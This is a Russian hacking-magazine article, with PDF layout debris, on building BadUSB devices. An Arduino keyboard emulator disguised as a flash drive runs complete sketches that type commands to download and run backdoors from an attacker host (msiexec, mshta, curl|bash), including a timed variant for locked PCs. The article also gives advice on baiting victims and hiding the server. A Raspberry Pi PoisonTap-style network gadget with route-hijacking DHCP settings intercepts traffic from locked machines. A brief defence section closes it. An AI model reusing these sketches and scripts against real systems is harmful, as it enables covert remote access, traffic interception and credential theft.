книги хакеры / журнал хакер / ха-287_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
m |
COVERSTORY |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
РАЗБИРАЕМ АТАКУ BADUSB В ДЕТАЛЯХ
Об атаках BadUSB «Хакер» уже неоднократ но писал. Сегодня мы разберем конкрет ный пример реализации такой атаки , под робно опишем устройство вредонос ной флешки , приведем записанный на нее код и обсудим , как заставить пользовате ля Windows или Linux подклю чить ее к своему компьюте ру .
s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru
BadUSB — это целое семейство атак на USB-порт, при которых подклю чаемое устройств о выдае т себя за другой девайс, например :
•HID-устройств о (клавиату ра или мышка );
•Ethernet — сетевая карта ;
•Mass storage (съемный накопитель ).
Наибо лее интерес ны первые два варианта . В сегодняшней статье мы рас смотрим вариан т с HID-устройством , а в следующей — с сетевой картой . Вариан т с HID-устройством — это одна из немногих физических атак, тре бующих социаль ног о фактора , то есть успех зависит от действий пользовате ля. Однак о я вижу еще одно примене ние , не требующее явного участия человека . Но обо всем по порядку .
Эта статья — часть серии публикаций о прак тических приемах взлома и атак с использовани ем подручных устройств , которые можно собрать дома. В этих материалах мы раскры ваем простые способы получения несанкци они рован ного дос тупа к защищенной информации и показываем , как ее оградить от подобных атак. Предыду щая статья серии: «Крокок ряк . Снимаем трафик с витой пары обычными „крокоди лами “».
ТЕОРИЯ
Итак, BadUSB-HID — это атака , при которой подклю чаемое к порту USB устройств о запрограм мировано, как клавиату ра (реже — как мышь), но при этом таковой не является . И именно в обманчивос ти внешнего вида и кроется элемен т социаль ной инженерии .
Самый популярный форм фактор такого устройства — флешка . Но, учи тывая небольшие габариты самого девайса , оно может быть встроено куда угодно — будь то веб камера или даже USB-провод (O.MG Cable). Под ходящую форму устройства задае т контекст , посколь ку выбор должен быть оптималь ным в той или иной ситуации .
Миниатюр ное устройство с контрол лером клавиату ры сразу после под ключения выполняе т произволь ные нажатия клавиш . Возможность заранее запрограм мировать эти самые нажатия обычно использует ся для ввода той или иной команды ОС с помощью соответс тву ющих горячих клавиш , нап
ример Win-R или Alt-F2. BadUSB-HID — это атака :
•на разбло кированные ПК — подбра сывание флешки и мгновен ный RCE; атака требуе т приман ки для пользовате ля, чтобы тот подклю чил устрой ство к ПК;
•заблокиро ванные ПК — незаметное подклю чение флешки и отложен ный RCE; атака требуе т незаметного размещения устройства и отсутствия кон троля над атакуемой машиной в момент подклю чения.
Вкаждом случае мы имеем шанс получить RCE, а значит , игра явно стоит
свеч. При этом сама атака обладае т крайне |
высокой скоростью |
, так |
|||
как нажатия произво |
дятся достаточ |
но быстро . |
Вполне возможно |
, поль |
|
зователь даже ничего не заметит. |
|
|
|
|
АППАРАТНАЯ ЧАСТЬ
На мой взгляд, решающий фактор при реализации девайса BadUSB-HID — это его дешевизна и простота производс тва. Посколь ку характер исполь зования подразуме вает подбра сывание таких флешек , для нас это становит ся расходным материалом .
Несколь ко простых и известных решений для эмуляции контрол лера кла виатуры представ лены в следующей таблице .
Зачем заказывать дорогие и привлека ющие внимание решения вроде hak5 (с логотипом Rubber Ducky), когда все можно собрать самому и за меньшую стоимость ? Если все сделать правиль но , нам не будет жалко рассыпать где нибудь с десяток таких «флешек ».
Вполне очевид ным выбором стане т плата семейства Arduino. Она недоро га, и еще одно преиму щес тво в том, что ее достаточ но просто купить в спе циализиро ван ных магазинах электро ники внутри страны , то есть в кратчай ший срок.
Личн о для меня куда большей проблемой оказалось раздобыть корпус . Но, возможно , если в твоем городе нет подходящих магазинов , будет проще приобрести самую дешевую флешку подходящих габаритов и извлечь ее содержимое , оставив только корпус . Либо же распечатать корпус на 3Dпринтере .
Так как большая часть плат Arduino идет с micro-USB-интерфейсом , необ ходимо перепаять разъем под классичес кий USB-штекер , посколь ку во флешку с нестандар тным интерфейсом пользователь вряд ли поверит. Сама плата при этом конструк тивно может быть не приспособ лена под пайку штекера USB-A, поэтому можно прикрепить его к корпусу флешки с помощью клея, а саму плату уже припаять парой жестких проводов . Тогда усилие при извлечении флешки пойде т на ее корпус , а не на саму плату .
Чтобы слегка уменьшить ширину платы , можно отпилить пару миллимет ров с каждог о края в области дополнитель ных контактов — они нам не понадо бятся . В итоге мы сможем уместить нашу Arduino Pro Micro в классичес кий корпус для флешки , как показано на следующем рисунке .
Клавиату ра в корпусе флешки
А вот так атакующая флешка выгляди т в собранном виде.
Клавиату ра и флешка
Словом , желательно , чтобы у нашего устройства было минимум отличий от обычной флешки . К сожалению , самая мейнстри мовая плата Arduino Pro Micro не определя ется в Windows 7 и ниже без «дров», но сейчас «десятка » встречает ся уже куда чаще. Если необходима совмести мость с Windows 7 и ниже, то следуе т приобрести более дорогую плату Teensy либо что то ана логичное . Вполне вероятно , что на момент прочтения этой статьи появятся более подходящие аппарат ные решения.
ПРОГРАММНАЯ ЧАСТЬ
Благода ря встроенно му загрузчи ку Arduino поддержи вае т многок ратную перепрошив ку , так что можно записывать в нее команды повторно под каж дую конкрет ну ю ситуацию . По сути, мы будем заливать лишь пользователь ский прикладной код.
Программы , или скетчи (в нотации Arduino), компилиру ются под AVR-про цессор и прошива ются через USB посредс твом все той же программы
Arduino:
apt install arduino
arduino
При работе с эмуляци ей клавиату ры на Arduino мы применя ем пример но сле дующий API:
void setup(){ // Код, выполняющийся только один раз при
подключении устройства по USB
Keyboard.begin(); // Включаем режим контроллера клавиатуры
delay(2000); // Пауза в миллисекундах
Keyboard.press(KEY_LEFT_SHIFT); // Зажать клавиши
Keyboard.press(KEY_RETURN);
delay(100);
Keyboard.releaseAll(); // Отпустить зажатые клавиши
Keyboard.print("cmd /c evil command"); // |
Набрать |
текст на |
|
клавиатуре |
|
|
|
Keyboard.write(KEY_RETURN); |
// Нажать |
клавишу |
|
}
void loop(){ delay(3600000); something(); } // Код, выполняющийся
постоянно
Как тольк о код написан, происхо ди т компиляция и заливка программы в кон троллер :
•Сервис → Плата : Arduino Micro
•Сервис → Последова тель ный порт: /dev/ttyACM0
•Файл → Загрузить
Если все прошло успешно, то через несколь ко секунд флешка перезагрузит ся и выполни т все запрограм мирован ные нажатия прямо на твоем ПК. Но, понятное дело, эти нажатия клавиш будут далеко не простые ...
АТАКА НА РАЗБЛОКИРОВАННЫЕ КОМПЬЮТЕРЫ
Данная атака была красиво продемонс три рова на в сериале Mister Robot, ниже ты можешь полюбовать ся кадром из этого фильма .
Физичес кая социаль ная атака BadUSB в действии
Суть атаки заключа ется в том, чтобы пользователь подобрал подбро шен ную нами флешку и подклю чи л к своему компьюте ру , который расположен , воз можно, где то глубок о в корпоратив ной или даже промыш ленной сети. После того как флешку вставя т в USB-порт, она выполни т залитый в нее код пос редством запрограм мирован ных нажатий клавиш , что впоследс твии откроет удален ный доступ злоумыш ленни ку .
Как мы помним , наше USB-устройство — не то, чем ожидае т его увидеть пользователь . В данном случае пользователь предполага ет , что это обычный съемный диск, но внезап но это клавиату ра ...
Как упомина лось ранее, эта атака требуе т социаль ной инженерии . Вот несколь ко примеров сценари ев, позволя ющих усыпить бдитель ность потен циальной жертвы :
•посыл ка или конвер т с флешкой передается через ресепшен , например руководству ;
•флешка подбра сывается любопытному пользовате лю в почтовый ящик или возле офиса ;
•флешка передается напряму ю под видом клиента (в случае если компания принима ет информацию на флешках ).
Теперь немног о о том, какие именно нажатия клавиш нужно выполнять и как с их помощью быстр о и гарантирован но выполнить код. Да такой, чтобы получить потом удален ный доступ . Самый короткий способ — запустить RAT (remote administrative tool), то есть установить на компьютер бэкдор . Нап ример, так:
msiexec /i http://rce.attacker.tk/shell.msi /quiet
mshta http://rce.attacker.tk/shell.hta
curl -L http://rce.attacker.tk/1.sh|bash
Каждая из приведен ных команд (в зависимос ти от ОС) встроенная , мак симальн о короткая и автомати чески за одно действие скачива ет и запускает код по протоко лу HTTP (лучше HTTPS).
Перед атакой потенциаль ный взломщик , скорее всего , не будет рас полагать исчерпывающей информацией о сетевых ограниче ниях из локаль ной сети в сторону интернета . И нет стопроцен тной гарантии , что сетевое подклю чение от компьюте ра жертвы достигне т сервера удален ного управле ния. Но исполнение перечисленных выше команд запускае т четкую пос ледователь ность действий , отслежива ние которых даст атакующе му дос таточный объем информации :
1.Посколь ку мы задали адрес сервера по имени , будет выполнен DNS-зап рос. Система DNS — распре деленная, и запрос с компьюте ра жертвы , как правило , будет отправлен в любом случае . Если мы используем собс твенну ю DNS-зону, делегирован ную на наш подкон трольный сервер , то мы увидим данный запрос в логах. Это будет сигналом того, что флешка была подклю чена и RCE произо шел. Тем не менее это не гарантиру ет, что сетевой доступ возможен .
2.Если выход в интернет из корпоратив ной сети никак не ограничен , то на сервер злоумыш ленника приде т HTTP-запрос , который также можно будет увидеть в логах. Это будет сигналом того, что сетевое соединение возможн о и мы сможем удален но управлять скомпро метированным узлом. Тем не менее это не гарантиру ет, что защитные механизмы ОС допустят непосредс твенное исполнение программы удален ного управления .
3.Получен шелл. Атака прошла успешно.
Даже если атака не увенчает ся успехом , у атакующе го будет информация о правилах доступа в интернет с компьюте ров пользовате лей и об их осве
домленнос ти о подобного рода инциден тах . Подобная информация может использовать ся при повторных атаках .
На следующем рисунке видно , что сразу после подклю чения флешки открывает ся окно «Выполнить » и в этом окне вводит ся команда , скачива ющая и запускающая программу удален ного управления с сервера злоумыш ленни ка.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Флешка в действии |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
В результате |
|
всег о через |
несколь |
ко |
секунд |
после |
подклю чения |
флешки |
|||||||||||||||||||||||||||||||
и запуска ею бэкдора |
потенциаль |
ный |
|
злоумыш |
ленник |
сможе т удален но |
|||||||||||||||||||||||||||||||||
управлять системой |
со всеми вытекающи |
ми последс |
тви ями . |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
Чтобы |
максималь |
н о сохранить |
аноним ность |
при выполнении |
подобной |
||||||||||||||||||||||||||||||||||
атаки и не разгла шать |
адрес своего сервера |
, можно восполь |
зовать |
ся пуб |
|||||||||||||||||||||||||||||||||||
личными |
сервисами |
, позволя |
ющи |
ми залить что угодно , а потом скачать |
|||||||||||||||||||||||||||||||||||
это по протоко |
лу HTTP, например |
paste.c-net.org или ix.io. |
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
При реализации |
этой атаки на компах неангло гово |
рящих |
пользовате |
лей |
|||||||||||||||||||||||||||||||||||
возника |
е т дополнитель |
ная |
проблема |
— в ОС может быть активиро |
вана |
||||||||||||||||||||||||||||||||||
нелатинская |
расклад |
ка клавиату |
ры , например |
русская |
. Если набор нажатий |
||||||||||||||||||||||||||||||||||
будет произве |
ден не в латинской |
расклад |
ке , то атака сорвется |
. |
|
|
|
|
|
|
|||||||||||||||||||||||||||||
В подобной ситуации |
для выполнения |
|
правиль |
ных нажатий можно исполь |
|||||||||||||||||||||||||||||||||||
зовать два подхода |
: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
•выпол нять нажатия «как есть», потом переключить языковую расклад ку и повторить нажатия;
•исполь зовать ALT-коды (три четыре нажатия для каждой буквы ), изменить статус клавиши NumLock и повторить нажатия.
Однознач но выигрышно го способа нет. В одном случае мы должны угадать расклад ку клавиату ры, в другом — активаци ю ее цифровой части . Какой вари ант использовать — решать каждому . Скорость набора достаточ но высокая, и нет разницы с ALT-кодами, но скетч файл Arduino имее т более читабельный вид при классичес ком наборе, поэтому выберем этот вариант .
Атака BadUSB платформен но независима , поэтому наряду с Windows можн о атаковать и Linux, и даже Mac. Вот универ сальный скетч для атаки рабочих станций Windows/Linux:
void windows_run() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(250);
Keyboard.releaseAll();
Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet");
delay(100);
Keyboard.write(KEY_RETURN);
}
void linux_run() {
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F2);
delay(250);
Keyboard.releaseAll();
Keyboard.print("curl -L http://rce.attacker.tk/1.sh|bash -");
delay(100);
Keyboard.write(KEY_RETURN);
}
void rce() {
windows_run();
delay(100);
linux_run();
delay(100);
}
void switchLang() {
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);
delay(100);
Keyboard.releaseAll();
}
void setup() { // Будет выполнено при подключении устройства в USB
Keyboard.begin();
delay(2000);
rce();
switchLang();
rce();
}
Вне зависимос ти от ОС на атакуемой машине приведен ный выше скетч через нажатия клавиш на достаточ но высоких скорос тях выполни т две команды — для Windows и Linux соответс твен но . После чего переключи т языковую рас кладку двумя способа ми и повтори т команды еще раз. В итоге мы имеем четыре попытки выполнения команд: две, чтобы угадать ОС, и две, чтобы уга дать языкову ю расклад ку .
АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР |
|
|
|||||||
Помим о функции |
setup(), выполняющей |
ся при подклю чении устройства , |
|||||||
Arduino имее т предоп ределенную функци |
ю loop(), которая |
выполняет ся |
|||||||
в бесконеч |
ном цикле . |
|
|
|
|
|
|
||
Идея состои т в том, что нажатия мы |
будем иницииро |
вать не только |
|||||||
в момент подклю чения к ПК, вместо этого мы будем повторять |
их в каждый |
||||||||
заранее выбранный |
промежу |
ток времени |
: |
|
|
|
|
void setup() { // Будет выполнено при подключении устройства по USB
Keyboard.begin();
delay(2000);
rce();
switchLang();
rce();
}
void loop(){ delay(3600000); setup(); } // Постоянно выполняющийся
код (каждый час)
Таким образом , флешку можно незаметно вставить в заблокиро ван ный компьютер и запрограм мировать ее на отправку нажатий не сразу , а каждые
N часов или минут, чтобы поймать момент, когда машина будет разбло киро вана (отложен ный RCE). Пока ПК залочен, все нажатия будут уходить в поле ввода пароля и пропадать , то есть атака будет проходить фактичес ки бес следно .
Форм фактор компьюте ра может сыграть на руку злоумыш леннику. В сис темный блок, задвинутый в пыльный темный угол, достаточ но легко что то незаметн о вставить , да еще и так, что потом годами никто этого не заметит. Другое дело — ноутбук , который всегда перед глазами . Но даже если все USB-порты атакуемо го компьюте ра на виду у пользовате ля, от него все равно могут тянуться какие то провода (мышь, клавиату ра и прочее ), так что можно «вклинить ся», например , в подклю ченную мышь под столом , раздво ив и вста вив исходный провод в небольшой USB-хаб с BadUSB-флешкой , как показа но на следующем рисунке .
BadUSB-HID как скрытая клавиату ра посередине
По сути, такое устройство делае т бесполез ными все попытки обеспечить безопасность с помощью блокиров ки компьюте ра , к которой все так привык ли. Ведь однажды в оставленный без присмотра ноутбук может быть встав лено такое устройство . И неважно , был залочен комп или нет, BadUSB-флеш ка будет пытаться выполнить нажатия (читай — произволь ный код) с пери одичность ю в несколь к о минут, часов или дней. И рано или поздно непремен но наступит момент, когда ПК будет разлочен . Тогда вредонос ный код выпол нится, атакующий получит удален ный доступ и внутренняя сеть компании ока жется скомпро мети рован ной .
ЗАЩИТА
Пожалуй , лучшей защитой тут можно считать специали зированные програм мные решения, разреша ющие подклю чение только заранее утвержден ных устройств из списка (white list). У каждого USB-устройства существу ет свой уникаль ный VendorID и ProductID, перечень которых указыва ется в white list. Все остальные USB-устройства , включая и BadUSB-флешки , не будут опоз наны ОС. Эта мера прекрасно защищае т не только от описан ной выше атаки , но и от ряда других и в целом способ на уберечь рабочие компьюте ры от мас сы нежелатель ных последс твий.
Обучать персонал , чтобы повысить его осведом ленность в вопросах информацион ной безопасности , тоже не будет лишним , так как атака BadUSB главным образом социаль ная и пользовате ли сами создаю т угрозу , подклю чая незнакомое устройство к своим компьюте рам. Также руководите лям ком паний можн о рекомендовать периоди чески осматривать рабочие места сот рудников и проверять , не подклю чены ли посторон ние устройства .
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
||||
|
to |
|
|
|
|||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
||
|
p |
|
|
g |
|
|
|||
|
|
df |
|
|
n |
e |
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH
Если у тебя есть возможность подклю чить к USB-порту атакуемо го компьюте ра спе циально подготов ленное устройство , ты можешь полностью перехватить трафик , получить cookies и пароли, взломать кон троллер домена, а контро лировать ход ата ки по Wi-Fi. Как это реализовать ? Сейчас расска жу.
s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru
Windows, Linux и macOS по умолчани ю умею т автомати чес ки без участия пользовате ля опознавать определен ные USB-устройства как сетевые карты Ethernet. И, что важно , это может происхо дить даже на заблокиро ван ных ПК. Именн о эта особен ность и дает возможность реализовать атаку , о которой я расска жу в сегодняшней статье. Этот подвид BadUSB-атак заключа ется
в том, что подклю чаемое к порту USB устройство представ ляет ся сетевой картой . Однак о совсем непростой сетевой картой ... Но обо всем по порядку .
Что отличае т эту атаку от BadUSB-HID? Главное отличие в том, что рас сматрива емую атаку можно реализовать на заблокиро ванном компьюте ре. Кроме того, для проведе ния такой атаки не требует ся скрытное и длитель ное подклю чение какого либо девайса , она позволя ет атаковать цель за несколь ко минут. Ведь если ПК разбло кирован, то можно реализовать более простую и действен ную атаку из предыду щей статьи или просто набрать на клавиату ре команду скачива ния и запуска бэкдора :
msiexec /i https://attacker.tk/backdoor.msi
В итоге на «ручную » компро мета ци ю оставленной без присмотра разбло кирован ной персонал ки потребу ется всего три четыре секунды ! Компьюте ры сегодня повсюду , и торчащие наружу USB-порты можно увидеть достаточ но часто .
Некон тро лиру емый USB-порт в обществен ном месте
Объектом атаки может стать заблокиро ван ный компьютер , оставленный без присмотра на короткое время , либо терминал , либо стенд с торчащим наружу USB-портом .
Эта статья — часть серии публикаций о прак тических приемах взлома и атак с использовани ем подручных устройств , которые можно собрать дома. В этих материалах мы раскры ваем простые способы получения несанкци они рован ного дос тупа к защищенной информации и показываем , как ее оградить от подобных атак. Предыду щая статья серии: «Очень плохая флешка . Разбира ем атаку BadUSB в деталях».
ТЕОРИЯ
Подклю чаемое устройство BadUSB-ETH определя ется как сетевая карта Еthernet. На самом деле это не просто сетевая карта , а устройство , внутри которог о полноцен ный компьютер со своей ОС. И мы реализуем достаточ но хитру ю цепочку из множес тва атак. По сути, это собствен ная , более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем откры
тый проек т PoisonTap.
Первое и самое главное — это то, как мы настра иваем сеть на атакуемой машине. В момент подклю чения интерфейс именно создает ся, а не поднима ется. Это значит , что сразу после подклю чения ПК запроси т настрой ки по DHCP (дефолтное поведение ). В ответ на такой запрос наше устройство выдае т не совсем обычну ю конфигура цию сети, при которой она стане т при оритет ной и перекрое т все активные сетевые подклю чения на атакуемом компьюте ре. Достига ется это через более короткие маски маршру тов:
0.0.0.0/0 via 10.10.0.
1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50%
IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50%
IPv4-сетей (маска короче, поэтому маршрут приоритетнее)
Во всех современ ных ОС маршру тиза ция в IP-сетях строится по единому принципу : чем короче маска сети у маршру та , тем приори тет нее маршрут . Это главное прави ло маршру тиза ции . И в нашем случае маска /1 чуть короче маски /0 дефолтно г о маршру та .
После примене ния таких настро ек нового сетевого подклю чения все пакеты от других сетевых интерфейсов пойду т по новому маршру ту — уже в наше хакерское устройство , и мы как бы «вытянем» весь трафик . Так мы сможем реальн о перехватывать весь сетевой трафик заблокиро ван ного устройства посредс твом обычного USB. Схематич но атака представ лена
на рисунке ниже.
Схема атаки BadUSB-ETH
Не стои т забывать, что мы установи ли и обычный сетевой канал взаимо дей ствия с заблокиро ван ным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фан тазии:
•NetBIOS Poisoning (Hash leak);
•MS17-010, BlueKeep, PrintNightmare;
•Bruteforce;
•сканиро вание портов , скриншоты RDP/WWW и сбор прочих сведений .
Наконец , наше устройство является еще и «супершлю зом », посколь ку сетевой трафик , включая и смежные сетевые интерфейсы , идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназна чен ных для перехвата трафика :
•Cookie Siphoning (выкачивание cookie в redirect-цикле перебора сайтов по словарю );
•WebCache Poisoning (внедрение js-backdoor в скачива емые JavaScript);
•Insecure Updates (сигна л популярному ПО обновить ся и отправка backdoor);
•Passive Snifng (FTP, SMTP, SMB, HTTP, etc).
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH
РЕАЛИЗАЦИЯ
Устрой ство может быть реализова но на базе множес тва одноплатных решений. Наиболее легковес ное и известное среди них — Raspberry Pi Zero
(W). Эта плата не потребу ет дополнитель ного питания, необходимое нап ряжение берется от USB-порта компьюте ра. С целью индикации хода атак для простоты используем три светоди ода со следующи ми ролями:
•зеленый (INFO) — ПК определи л наш девайс как сетевую карту Ethernet, и поднялась сеть;
•желтый (WARNING) — утечка NetNTLM-хеша или иной чувстви тельной информации ;
•красный (CRITICAL) — обнаруже на RCE, подобран пароль и тому подоб ное.
Большинс тв о одноплатных ПК снабжены GPIO-пинами, с помощью которых можн о подавать небольшое напряжение , необходимое для работы светоди одов.
Схема подклю чения светоди одов
Соответс твен но , чтобы зажечь, а потом погасить светоди од , подклю чен ный , например , к 26-му пину, потребу ется выполнить следующие команды ОС внутри платы :
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Эмуляция Ethernet-устройства , как и эмуляция других видов USB-девайсов , поддержи вает ся непосредс твен но ядром Linux через так называемые USBгаджеты . Очень красиво такую атаку продемонс три ровал Сами Камкар (Sami Kamkar) в проекте под названи ем PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s ~/poisontap /opt/poisontap
Именн о этот инстру мен т взят за основу , особен но в эмуляции сетевой карты , но с некоторыми улучшени ями :
/home/pi/poisontap/pi_startup.sh rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
echo 0x0694 > idVendor
echo 0x0005 > idProduct
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDIS
mkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/
compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_
compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
ls /sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j
REDIRECT --to-port 1337
#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/
pi_poisontap.js
iptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE
Посколь ку атака кросс платформен ная , требует ся настрой ка эмуляции сразу двух составных USB-устройств : для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле dhcpd.conf:
/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.10 1.0.0.50;
option broadcast-address 255.255.255.255;
option routers 1.0.0.1;
default-lease-time 600;
max-lease-time 7200;
option domain-name "local";
option domain-name-servers 1.0.0.1;
# send the routes for both the top and bottom of the IPv4 address
space
option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1;
option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;
}
Несмотря |
на то |
что |
устройство |
объявля |
е т себя шлюзом , реально оно |
|||||||||||||||||
не пересылае т пакеты от компьюте ра жертвы дальше , но скомпро мети |
рован |
|
||||||||||||||||||||
ной машине знать об этом и не нужно . |
|
|
|
|
|
|
|
|
|
|
||||||||||||
Стои т отметить |
еще, что подмена |
DNS специаль |
но не произво |
дит ся , что |
||||||||||||||||||
бы не ломать оригиналь |
ные |
сетевые потоки к легитимным |
ресурсам , так |
|||||||||||||||||||
как трафик |
до них в любом случае будет нами перехвачен |
, ведь мы имитиру |
ем |
|||||||||||||||||||
шлюз. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
